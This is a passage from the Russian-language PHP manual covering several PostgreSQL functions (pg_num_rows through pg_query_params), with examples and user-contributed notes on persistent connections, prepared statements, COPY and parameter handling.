    $results = pg_query($pgsql_conn, "SELECT * FROM markie");

    echo "<table border=1>\n";
    for($lt = 0; $lt < pg_num_rows($results); $lt++) {
        echo "<tr>\n";
        for($gt = 0; $gt < pg_num_fields($results); $gt++) {
            echo "<td>" . pg_result($results, $lt, $gt) . "</td>\n";
        }
        echo "</tr>\n";
    }
    echo "</table>\n";

    pg_close($pgsql_conn);
?>

This code snippet will print out the rows and columns into a HTML table.

Regards,  --mark


Возвращает количество строк в выборке

  • « pg_num_fields
  • pg_options »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает количество строк в выборке

pg_num_rows

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

pg_num_rows — Возвращает количество строк в выборке

Описание

pg_num_rows(PgSql\Result $result): int

pg_num_rows() возвращает количество строк в экземпляре PgSql\Result.

Замечание:

Ранее функция называлась pg_numrows().

Список параметров

result

Экземпляр PgSql\Result, возвращаемый функциями pg_query(), pg_query_params() или pg_execute() (среди прочего).

Возвращаемые значения

Количество строк в выборке. В случае возникновения ошибки возвращает -1.

Список изменений

Версия | Описание
8.1.0 | Параметр result теперь ожидает экземпляр PgSql\Result; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_num_rows()

<?php
$result = pg_query($conn, "SELECT 1");

$rows = pg_num_rows($result);

echo "Возвращено строк: " . $rows . ".\n";
?>

Результат выполнения данного примера:

Возвращено строк: 1.

Смотрите также

  • pg_num_fields() - Возвращает количество полей в выборке
  • pg_affected_rows() - Возвращает количество затронутых запросом записей (кортежей)

User Contributed Notes

strata_ranger at hotmail dot com 10-May-2009 10:06
As mentioned, if you are performing an INSERT/UPDATE or DELETE query and want to know the # of rows affected, you should use pg_affected_rows() instead of pg_num_rows().

However, you can also exploit postgres's RETURNING clause in your query to auto-select columns from the affected rows.  This has the advantage of being able to tell not only how many rows a query affects, but exactly which rows those were, especially if you return a primary-key column.

For example:

<?php

// Example query.  Let's say that this updates five rows in the source table.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' ");
pg_num_rows($res); // 0
pg_affected_rows($res); // 5
pg_fetch_all($res); // FALSE

// Same query, with a RETURNING clause.
$res = pg_query("Update foo set bar = 'new data' where foo.bar = 'old data' RETURNING foo.pkey");
pg_num_rows($res); // 5
pg_affected_rows($res); // 5
pg_fetch_all($res); // Multidimensional array corresponding to our affected rows & returned columns
?>
ElDiablo 06-Oct-2008 07:09
About preceding note, you shouldn't use pg_num_rows() for this.
You should have instead a look at pg_affected_rows().
francisco at natserv dot com 07-Jan-2008 08:26
Not sure why this documentation doesn't have the following note:
Note: Use pg_affected_rows() to get number of rows affected by INSERT, UPDATE and DELETE query.

Found on other resources. Adding here in case someone else is looking for the info.


Получение параметров соединения с сервером баз данных

  • « pg_num_rows
  • pg_parameter_status »
  • PHP Manual
  • Функции PostgreSQL
  • Получение параметров соединения с сервером баз данных

pg_options

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_options — Получение параметров соединения с сервером баз данных

Описание

pg_options(?PgSql\Connection $connection = null): string

pg_options() возвращает строку, содержащую параметры соединения PostgreSQL connection.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Строка, содержащая параметры соединения connection.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_options()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");
echo pg_options($pgsql_conn);
?>

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL

User Contributed Notes

Robert Treat <xzilla at sourceforge> 31-Dec-2004 08:07
Apparently this function does not return the database name given in the connection string.  I tried this on apache 2.x/php4.3.x/pg7.4.x and apache 1.3.x/php5.x/pg8rc1 and saw this behavior on both setups.


Просмотр текущих значений параметров сервера

  • « pg_options
  • pg_pconnect »
  • PHP Manual
  • Функции PostgreSQL
  • Просмотр текущих значений параметров сервера

pg_parameter_status

(PHP 5, PHP 7, PHP 8)

pg_parameter_status — Просмотр текущих значений параметров сервера

Описание

pg_parameter_status(PgSql\Connection $connection = ?, string $param_name): string

Получает текущее значение заданного параметра сервера.

Значения некоторых параметров сервер сообщает автоматически при установлении подключения или при изменении данных значений. Функция pg_parameter_status() может запрашивать подобные значения. Она возвращает значение параметра, если оно определено, либо false в случае возникновения ошибки.

Список параметров серверов PostgreSQL версий 8.0 и выше: server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, и integer_datetimes. (server_encoding, TimeZone, и integer_datetimes не определяются для версий ниже 8.0.) Стоит отметить, что значения server_version, server_encoding и integer_datetimes нельзя изменить после запуска PostgreSQL.

Несмотря на то, что PostgreSQL версий 7.3 и ниже не сообщают значений своих параметров, pg_parameter_status() позволяет определить значения параметров server_version и client_encoding. Для определения значений этих параметров предпочтительней использовать pg_parameter_status(), нежели специально разрабатывать другие функции.

Предостережение

Если при использовании сервера PostgreSQL версий 7.4 и ниже изменить параметр client_encoding посредством команды сервера SET уже после установки соединения, функция pg_parameter_status() не сможет отразить этот факт.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

param_name

Допустимые значения аргумента: server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone и integer_datetimes. Обратите внимание, что это значение чувствительно к регистру.

Возвращаемые значения

Значение запрашиваемого параметра в виде строки, либо false, если передан недопустимый параметр.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_parameter_status()

<?php
$dbconn = pg_connect("dbname=publisher") or die("Невозможно соединиться с сервером");

echo "Кодировка сервера: ", pg_parameter_status($dbconn, "server_encoding");
?>

Результат выполнения данного примера:

Кодировка сервера: SQL_ASCII

User Contributed Notes

There are no user contributed notes for this page.


Открывает постоянное соединение с сервером PostgreSQL

  • « pg_parameter_status
  • pg_ping »
  • PHP Manual
  • Функции PostgreSQL
  • Открывает постоянное соединение с сервером PostgreSQL

pg_pconnect

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_pconnect — Открывает постоянное соединение с сервером PostgreSQL

Описание

pg_pconnect(string $connection_string, int $flags = 0): PgSql\Connection|false

pg_pconnect() устанавливает соединение с базой данных PostgreSQL. Возвращает экземпляр PgSql\Connection, необходимый для работы большинства функций PostgreSQL.

При повторном вызове функции pg_pconnect() с теми же значениями параметров в connection_string функция вернёт существующее подключение. Чтобы принудительно создать новое соединение, необходимо передать строку подключения функции PGSQL_CONNECT_FORCE_NEW в качестве параметра flags.

Возможность создавать постоянные подключения регулируется директивой pgsql.allow_persistent файла php.ini. Для включения, установите значение в "On" (является значением по умолчанию). Максимальное количество постоянных соединений задаётся директивой pgsql.max_persistent файла php.ini (по умолчанию -1, не ограничено). Количество любых возможных подключений устанавливается директивой pgsql.max_links файла php.ini.

pg_close() не закрывает соединения, открытые функцией pg_pconnect().

Список параметров

connection_string

Строка connection_string может быть пустой строкой или содержать несколько параметров разделённых пробелами. Каждый параметр указывается как keyword = value. Пробелы вокруг знака равно необязательны. Пустые строки в качестве значения или значения, содержащие пробелы отделяются одинарными кавычками, как например, keyword = 'a value'. Для задания одинарных кавычек и обратных слешей в качестве значений их необходимо экранировать обратным слешем, то есть \' и \\.

Список основных ключевых слов: host, hostaddr, port, dbname (значение по умолчанию для параметра user), user, password, connect_timeout, options, tty (игнорируется), sslmode, requiressl (устарело в связи с использованием параметра sslmode), и service. Какие из этих аргументов будут обработаны, зависит от версии PostgreSQL.

flags

Если в функцию передана константа PGSQL_CONNECT_FORCE_NEW, будет создаваться новое подключение, даже если connection_string идентична строке существующего подключения.

Возвращаемые значения

Экземпляр PgSql\Connection в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Connection; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования pg_pconnect()

<?php
$dbconn = pg_pconnect("dbname=mary");
//подключиться к базе "mary"

$dbconn2 = pg_pconnect("host=localhost port=5432 dbname=mary");
// подключиться к базе "mary" на хосте "localhost", порт "5432"

$dbconn3 = pg_pconnect("host=sheep port=5432 dbname=mary user=lamb password=foo");
//подключиться к базе "mary" на хосте "sheep", используя имя пользователя и пароль

$conn_string = "host=sheep port=5432 dbname=test user=lamb password=bar";
$dbconn4 = pg_pconnect($conn_string);
//подключиться к базе "test" на хосте "sheep", используя имя пользователя и пароль
?>

Смотрите также

  • pg_connect() - Открывает соединение с базой данных PostgreSQL
  • Постоянные соединения с базой данных

User Contributed Notes

robertb 10-Dec-2008 12:54
You should not use pg_pconnect - it's broken. It will work but it doesn't really pool, and it's behaviour is unpredictable. It will only make you rise the max_connections parameter in postgresql.conf file until you run out of resources (which will slow your database down).

If you have many concurrent connections to your database, you should use the PostgreSQL connection pooler PgBouncer (developed by the Skype-team). When using pgbouncer, make sure you use pg_connect and NOT pg_pconnect. Also, make sure you close your connections with pg_close.

* PGBouncer homepage:
http://developer.skype.com/SkypeGarage/DbProjects/PgBouncer

* PostgreSQL pooling article by Last.fm:
http://www.last.fm/user/Russ/journal/2008/02/21
/zd_postgres_connection_pools:_pgpool_vs._pgbouncer
ts at dev dot websafe dot pl 28-Oct-2007 02:22
<?php
//
// Using pg_pconnect in a class.
//
// Why this? Because the manual says:
//
//   If a second call is made to pg_pconnect() with the same
//   connection_string as an existing connection, the existing
//   connection will be returned unless you pass
//   PGSQL_CONNECT_FORCE_NEW as connect_type.
//
// This is not always true.
//
/**
 * MyClassA creates a postgresql connection using pg_pconnect
 * and stores the resulting resource id to $this->conn
 */
class MyClassA
{
    function __construct($connection_string)
    {
        $this->conn =
            pg_pconnect($connection_string)
                or die('Wrong CONN_STRING');
    }
}

//
// Showing current php.ini settings to be sure
// that persistent connections s  are allowed.
// -1 means 'unlimited'
//
echo '<br>pgsql.allow_persistent: ' . ini_get('pgsql.allow_persistent');
echo '<br>pgsql.max_persistent: ' . ini_get('pgsql.max_persistent');
echo '<br>pgsql.max_links: ' . ini_get('pgsql.max_links');
echo '<br><br>';

// setting one custom connection string for all objects
// (modify $connection_string to fit your needs)
$connection_string =
    'host=localhost port=5432' .
    ' dbname=test user=test password=test';

//
// Creating 10 MyClassA objects using the same $connection_string
//
$objArr = Array();
for ($i = 0; $i < 10; $i++)
{
    $objArr[] = new MyClassA($connection_string);
}

//
// Human readable result:
//
foreach($objArr as $id => $object)
{
    printf(
        '%s: Object %s: using db %s<br>',
        get_class($object), $id, $object->conn
    );
}

/* ------------------------------------------------------------- */
// The result
// pgsql.allow_persistent: 1
// pgsql.max_persistent: -1
// pgsql.max_links: -1
//
// MyClassA: Object 0: using db Resource id #2
// MyClassA: Object 1: using db Resource id #3
// MyClassA: Object 2: using db Resource id #4
// MyClassA: Object 3: using db Resource id #5
// MyClassA: Object 4: using db Resource id #6
// MyClassA: Object 5: using db Resource id #7
// MyClassA: Object 6: using db Resource id #8
// MyClassA: Object 7: using db Resource id #9
// MyClassA: Object 8: using db Resource id #10
// MyClassA: Object 9: using db Resource id #11
//
/* ------------------------------------------------------------- */
//
// Each MyClassA object will use its _own_ database Resource id
//
?>
Dennis Fogg 13-Oct-2007 01:27
As of Aug 2007, some suggestions from the postgresql forums
on pg_pconnect(), faster postgres connections, and connection pooling:

Summary:
http://archives.postgresql.org/pgsql-general/2007-08/msg01406.php

Good details: http://archives.postgresql.org/pgsql-general/2007-08/msg00660.php
Also: http://archives.postgresql.org/pgsql-general/2007-08/msg01489.php
Spiros Ioannou 30-Jan-2003 05:40
Instead of reducing MaxClients in apache you may try to
reduce pgsql.max_links in php to at least the number of
postmasters. It should work and leave
you with more available httpds for static html pages.
raggaflo at libertysurf dot fr 29-Mar-2002 08:03
Be careful when using Apache/PHP dynamic module/PostgreSQL :
in httpd.conf (Apache conf) default MaxClients is 150, whereas default PG's max_connections is 32 which is much fewer than 150. You have to set max_connections to at least MaxClients (and pg's shared_buffers to 2*max_connections at least) to avoid PG's errors with pg_pconnect like : "Sorry, too many clients already connected"
etsysx dot i dot hate dot spam at teleline dot es 10-Mar-2002 01:56
To setup a high availability server with apache as a static module and postgreSQL, change httpd.conf and set MaxClients to less than max postgreSQL simultaneous connections (like 32 or 64).
This way pg_pconnect will allways return a valid handle under heavy traffic or under a request flow attack without wasting resources and without connection problems.
garrett at bgb dot cc 08-Feb-2002 04:39
If a transaction is in progress when page processing ends, is it aborted before the connection placed bak in the pool? Or is the connection added "as is"?

It would seem that the correct thing to do is to always 'ABORT' before adding to the pool.

As a note, this would be a good time to check and see if the connection is still open before readding it. Thus allowing closed connections to be cleaned up over time, instead of hanging around for ever as they do now.


Проверка соединения с базой данных

  • « pg_pconnect
  • pg_port »
  • PHP Manual
  • Функции PostgreSQL
  • Проверка соединения с базой данных

pg_ping

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

pg_ping — Проверка соединения с базой данных

Описание

pg_ping(?PgSql\Connection $connection = null): bool

pg_ping() проверяет соединение с базой данных и переподключается, если оно нарушено.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_ping()

<?php
$conn = pg_pconnect("dbname=publisher");
if (!$conn) {
echo "Произошла ошибка.\n";
exit;
}

if (!pg_ping($conn))
die("Соединение нарушено\n");
?>

Смотрите также

  • pg_connection_status() - Определяет состояние подключения
  • pg_connection_reset() - Сброс подключения (переподключение)

User Contributed Notes

There are no user contributed notes for this page.


Возвращает номер порта, соответствующий заданному соединению

  • « pg_ping
  • pg_prepare »
  • PHP Manual
  • Функции PostgreSQL
  • Возвращает номер порта, соответствующий заданному соединению

pg_port

(PHP 4, PHP 5, PHP 7, PHP 8)

pg_port — Возвращает номер порта, соответствующий заданному соединению

Описание

pg_port(?PgSql\Connection $connection = null): string

pg_port() возвращает номер порта, соответствующего заданному соединению PostgreSQL connection.

Список параметров

connection

Экземпляр PgSql\Connection. Если параметр connection указан null, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

Возвращаемые значения

Строка (string), соответствующая номеру порта, либо пустая строка в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).
8.0.0 | connection теперь допускает значение null.

Примеры

Пример #1 Пример использования pg_port()

<?php
$pgsql_conn = pg_connect("dbname=mark host=localhost");

if ($pgsql_conn) {
print "Успешно соединено с портом : " . pg_port($pgsql_conn) . "<br/>\n";
} else {
print pg_last_error($pgsql_conn);
exit;
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения

  • « pg_port
  • pg_put_line »
  • PHP Manual
  • Функции PostgreSQL
  • Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения

pg_prepare

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_prepare — Посылает запрос на создание параметризованного SQL выражения и ждёт его завершения

Описание

pg_prepare(PgSql\Connection $connection = ?, string $stmtname, string $query): PgSql\Result|false

pg_prepare() создаёт заготовку SQL выражения на сервере для последующего запуска функциями pg_execute() или pg_send_execute(). Это позволяет многократно выполнять единожды созданные запросы с различными параметрами. pg_prepare() поддерживается PostgreSQL версии 7.4 и выше. Функция не будет работать c серверами ранних версий.

Функция создаёт заготовку SQL запроса с названием stmtname и телом query, которое должно содержать одно SQL выражение. stmtname может быть пустой строкой, тогда будет создана безымянная заготовка. Если какая-либо безымянная заготовка уже определена, она будет заменена на новую автоматически. В остальных случаях совпадение имён новой и существующей в данной сессии заготовок приведёт к ошибке. Если в query будут передаваться параметры, то они заменят псевдопеременные $1, $2 и т.д. при передаче запроса.

Подобные заготовки запросов также можно делать с помощью SQL-команды PREPARE (но pg_prepare() более гибкая, так как не требует строгой типизации своих параметров). Важно отметить, что в PHP нет функций для удаления подготовленных SQL-выражений, для этого используйте команду SQL DEALLOCATE.

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

stmtname

Имя создаваемой заготовки. Должно быть уникальным в пределах сессии. Если задана пустая строка, будет создано безымянное SQL выражение. При этом оно перезапишет уже существующее безымянное выражение, определённое ранее.

query

Параметризованный SQL-запрос. Должен содержать только одно выражение (несколько выражений разделённых точкой с запятой не поддерживаются). Если в запрос будут передаваться параметры, то они заменят псевдопеременные $1, $2 и т.д.

Возвращаемые значения

Экземпляр PgSql\Result в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Result; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_prepare()

<?php
// Подключение к базе данных "mary"
$dbconn = pg_connect("dbname=mary");

// Подготовка запроса
$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name = $1');

// Запуск запроса на выполнение. Стоит отметить, что нет необходимости экранировать
// спецсимволы в строке "Joe's Widgets"
$result = pg_execute($dbconn, "my_query", array("Joe's Widgets"));

// Запуск на выполнение того же запроса, но с другим параметром
$result = pg_execute($dbconn, "my_query", array("Clothes Clothes Clothes"));

?>

Смотрите также

  • pg_execute() - Запускает выполнение ранее подготовленного параметризованного запроса и ждёт результат
  • pg_send_execute() - Запускает предварительно подготовленный SQL-запрос и передаёт ему параметры; не ожидает возвращаемого результата

User Contributed Notes

geompse at gmail dot com 09-Apr-2012 11:04
The given name cannot be the statement itself.
It has a maximum length and will truncate.

If two queries begin the same way, only the first one will be used.
andy at petdance dot com 28-Dec-2007 07:57
Any error in the prepare is available from pg_last_error().
mike at musskopf dot com 26-Sep-2007 02:14
I had some problems with this function. When you use pg_prepare() with a function like date_trunc('day', $1) you need to specify the data type.

The solution was use the Pear MDB2 but with some changes in code. The original code try to use pg_prepare() too, with errors.
rodrigo at fabricadeideias dot com 07-Nov-2006 04:05
If you decide to deallocate (unprepare) a previously prepared sql command it might be better to quote the sql name as in

  DEALLOCATE "theNameOfMySQL"

instead of (the more natural)

  DEALLOCATE theNameOfMySQL

PostgerSQL preserves the case of your identifiers if, and only if, you quote them. The pg_prepare function preserves the case of the sql name you use.

A complete example would be

  $sql = 'SELECT * FROM user WHERE cod_user = $1';
  $sqlName = 'selectUserByCode';
  if (!pg_prepare ($sqlName, $sql)) {
    die("Can't prepare '$sql': " . pg_last_error());
  }
  $rs = pg_execute($sqlName, array(1));
  do whatever you want with $rs and finally
  $sql = sprintf(
    'DEALLOCATE "%s"',
    pg_escape_string($sqlName)
  );
  if(!pg_query($sql)) {
    die("Can't query '$sql': " . pg_last_error());
  }
scott dot marlowe at gmail dot com 06-Mar-2006 07:20
Note that if you are preparing a query with an in clause with a list of items, you will need to prepare each item separately.

$result = pg_prepare($dbconn, "my_query", 'SELECT * FROM shops WHERE name IN($1,$2,$3)');

$result = pg_execute($dbconn, "my_query", array("coffee", "beer", "hard"));

This means that you can't just prepare a query with an arbitrary in() list.
david at fetter dot org 16-Apr-2005 08:33
SQL is often a complicated piece of code by itself, so you may wish put it inside a "here doc."  This will help you read it wherever it appears and test it by itself via a command-line or gui client.

$sql = <<<SQL
SELECT a.foo, b.bar, c.baz
FROM
    table_a a
LEFT JOIN
    table_b b
ON (
    a.a_id = b.a_id
)
JOIN
    table_c c
ON (
    b.c_id = c.c_id
)
WHERE c.name = $1
SQL;


Передаёт на PostgreSQL сервер строку с завершающим нулём

  • « pg_prepare
  • pg_query_params »
  • PHP Manual
  • Функции PostgreSQL
  • Передаёт на PostgreSQL сервер строку с завершающим нулём

pg_put_line

(PHP 4 >= 4.0.3, PHP 5, PHP 7, PHP 8)

pg_put_line — Передаёт на PostgreSQL сервер строку с завершающим нулём

Описание

pg_put_line(PgSql\Connection $connection = ?, string $data): bool

pg_put_line() передаёт на PostgreSQL сервер строку с завершающим нулём. Завершение строки значением NULL необходимо при её объединении с командой PostgreSQL COPY FROM.

COPY является высокоскоростным интерфейсом передачи данных, поддерживаемым PostgreSQL. Данные передаются одной транзакцией и не разбираются парсером.

В качестве альтернативы можно использовать функцию pg_copy_from(). Она значительно проще в использовании.

Замечание:

Перед запуском функции pg_end_copy() приложение должно сообщить о серверу о завершении передачи данных, добавив в конец последней строки символы "\.".

Внимание

Использование pg_put_line() может привести к
отказу операций с большими объектами, включающих функции
pg_lo_read() и pg_lo_tell().
Для этих целей используйте функции pg_copy_from()
и pg_copy_to().

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

data

Текстовая строка для прямой пересылки на сервер. Завершающий NULL добавляется автоматически.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_put_line()

<?php
$conn = pg_pconnect("dbname=foo");
pg_query($conn, "create table bar (a int4, b char(16), d float8)");
pg_query($conn, "copy bar from stdin");
pg_put_line($conn, "3\thello world\t4.5\n");
pg_put_line($conn, "4\tgoodbye world\t7.11\n");
pg_put_line($conn, "\\.\n");
pg_end_copy($conn);
?>

Смотрите также

  • pg_end_copy() - Синхронизирует с бэкендом PostgreSQL

User Contributed Notes

smcbride at msn dot com 25-Jul-2020 12:54
When using this function, don't get bit by using 'literal\tanotherliteral\n' issue by using single quotes vs. double quotes.  "literal\tanotherliteral\n" is not the same.  Many of the functions are impacted on how double quotes treats escape characters different than single quotes.  I forget it all the time.
kurt at nospam dot milliganshome dot net 22-Aug-2005 09:08
This is the function you need if you are running into the infamous "must be superuser to COPY to or from a file" error from postgres.


Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса

  • « pg_put_line
  • pg_query »
  • PHP Manual
  • Функции PostgreSQL
  • Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса

pg_query_params

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

pg_query_params — Посылает параметризованный запрос на сервер, параметры передаются отдельно от текста SQL запроса

Описание

pg_query_params(PgSql\Connection $connection = ?, string $query, array $params): PgSql\Result|false

Посылает параметризованный запрос на сервер и ждёт результат. Параметры передаются отдельно от строки запроса.

pg_query_params() подобна функции pg_query(), но предоставляет дополнительный функционал: параметры запроса можно передавать отдельно от строки запроса. pg_query_params() поддерживается на соединениях с серверами PostgreSQL версий 7.4 и выше. Функция не будет работать с серверами ранних версий.

Если используются параметры params, они заменяют псевдопеременные $1, $2 и т.д. в строке запроса query. Один и тот же параметр может быть указан больше одного раза в query; в этом случае будут использованы одинаковые значения. params определяют текущие значения параметров. Значение null в массиве параметров будет означать SQL NULL в запросе.

Главное преимущество pg_query_params() перед pg_query() заключается в том, что значения параметров могут передаваться отдельно от строки запроса query. Это даёт возможность избежать утомительную и подверженную ошибкам процедуру экранирования спецсимволов и заключения значений в кавычки. Однако, в отличие от pg_query(), эта функция поддерживает только один SQL запрос в передаваемой строке. (Он может содержать точку с запятой, но не более одной непустой SQL-команды.)

Список параметров

connection

Экземпляр PgSql\Connection. Если connection не указано, используется соединение по умолчанию. Соединение по умолчанию — это последнее соединение, выполненное с помощью функций pg_connect() или pg_pconnect().

Внимание

Начиная с версии PHP 8.1.0, использование соединения по умолчанию устарело.

query

Параметризованный SQL запрос. Должен содержать только одно выражение (несколько выражений разделённых точкой с запятой не поддерживаются). Если в запрос будут передаваться параметры, то они заменят псевдопеременные $1, $2 и т.д.

Пользовательские данные всегда должны передаваться как параметры, и не передаваться в строку запроса напрямую, где они могут привести к возможным атакам через SQL-инъекции и приводит к ошибкам, если данные содержат кавычки. Если по каким-то причинам вы не можете использовать параметр, убедитесь, что пользовательские данные правильно экранированы.

params

Массив значений параметров запроса для замены псевдопеременных $1, $2 и т.д. в исходной строке запроса. Количество элементов массива должно точно совпадать с количеством псевдопеременных.

Значения предназначенные для bytea полей нельзя передавать в параметрах. Используйте функцию pg_escape_bytea() или функции для больших объектов.

Возвращаемые значения

Экземпляр PgSql\Result в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Возвращает экземпляр PgSql\Result; ранее возвращался ресурс (resource).
8.1.0 | Параметр connection теперь ожидает экземпляр PgSql\Connection; ранее ожидался ресурс (resource).

Примеры

Пример #1 Пример использования pg_query_params()

<?php
// Подключение к базе данных "mary"
$dbconn = pg_connect("dbname=mary");

// Найдём все магазины с названием "Joe's Widgets". Стоит отметить, что нет необходимости экранировать
// спецсимволы в строке "Joe's Widgets"
$result = pg_query_params($dbconn, 'SELECT * FROM shops WHERE name = $1', array("Joe's Widgets"));

// Для сравнения то же самое, используя функцию pg_query
$str = pg_escape_string("Joe's Widgets");
$result = pg_query($dbconn, "SELECT * FROM shops WHERE name = '{$str}'");

?>

Смотрите также

  • pg_query() - Выполняет запрос

User Contributed Notes

Anonymous 04-Mar-2017 05:52
If one of the parameters is an array,  (eg. array of ints being passed to a stored procedure),   it must be denoted as a set within the array,  not php array notation.

eg:  var_dump output  of 2 parms an integer and array of int
aaa is: Array
(
    [0] => 1
    [1] => {2,3}
)

you do not want:

bbb is: Array
(
    [0] => 1
    [1] => Array
        (
            [0] => 2
            [1] => 3
        )

)
php at richardneill dot org 23-May-2014 02:55
For a parameterised date, the value NOW() is not allowed (it gets turned into a literal string and makes postgres choke),  however 'now'
is allowed as a parameter, and has the same effect.
php at richardneill dot org 20-May-2014 04:53
Debugging parameterised queries can be tedious, if you want to paste the query directly into PSQL. Here is a trick that helps:

<?php
$sql = "SELECT * from table WHERE col_a = $1 and col_b=$2 and col_c=$3";
$params = array (42, "a string", NULL);

$debug = preg_replace_callback(
        '/\$(\d+)\b/',
        function($match) use ($params) {
            $key=($match[1]-1); return ( is_null($params[$key])?'NULL':pg_escape_literal($params[$key]) );
        },
        $sql);

echo "$debug";
//prints:   SELECT * from table WHERE col_a = '42' and col_b='a string' and col_c=NULL
?>

This works correctly, except in the (unusual) case where we have a literal $N;  the regexp replaces it where it shouldn't.  For example:
<?php
//Both  ' ... $1 ... '   and  $1   get replaced; the former is wrong, the latter is right.
$sql = "SELECT 'Your bill is for $1' AS invoice WHERE 7 = $1";
$params = array(7);
//$debug:  SELECT 'Your bill is for $7' AS invoice WHERE 7 = '7'"
?>
php at richardneill dot org 20-May-2014 04:35
A note on type-juggling of booleans:
pg_query_params() and friends do seamless, automatic conversion between PHP-NULL and SQL-NULL and back again, where appropriate.
Hoever, everything else goes in (and comes out) as a string.
The following approach may be helpful when handling boolean fields:

<?php
$sql = " ... ";
$params = array (1, 2, 3, true, false);

//Convert booleans to 'true' and 'false'.  [NULLS are already handled].
foreach ($params as &$value){
    if (is_bool($value)){
        $value = ($value) ? 'true':'false';
    }
}

//Now do the query:
$result = pg_query_params ($sql, $params);
$row = pg_fetch_assoc ($result,0)  //first row

//For booleans, convert 't' and 'f' back to true and false. Check the column type so we don't accidentally convert the wrong thing.
foreach ($row as $key => &$value){
    $type = pg_field_type($result,pg_field_num($result, $key));
    if ($type == 'bool'){
        $value = ($value == 't');
    }
}

//$row[] now contains booleans, NULLS, and strings.
?>
php at richardneill dot org 20-May-2014 04:20
pg_query_params() *does* accept NULLs.  They will automatically be transformed, correctly, into SQL NULL. Thus, for example:

<?php
$sql = "UPDATE tbl_example SET column_a = $1, column_b=$2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);

//is equivalent to:
$result = pg_query ("UPDATE tbl_example SET column_a = NULL column_b  = '42')";

//and not, as one might fear,  either of these (incorrect) things:
// ... column_a = ''      ...
// ... column_a = 'NULL'  ...
?>

Note that you can use NULLs this way in an UPDATE or INSERT statement, but NOT in a WHERE clause. This isn't a restriction of pg_query_params(), but rather it is a consquence of the SQL language.
So, if you want a query of the type:

<?php
//depending on data,  the where-test parameter may or may not be NULL
//the following is WRONG for $1.
$sql = "SELECT * from  tbl_example WHERE column_a = $1 and column_b = $2";
$params = array(NULL,  42);
$result = pg_params ($sql, $params);
?>

This will fail as invalid SQL:  because you should use "= 42" but "IS NULL".  The solution is to use the SQL construct "IS [NOT] DISTINCT FROM".

<?php
$sql = "SELECT ... WHERE column IS NOT DISTINCT FROM $1"
$params = array (42);    //this works, the same as  "where column = 42"
$params = array (NULL);  //this works, the same as "where column is null"
?>

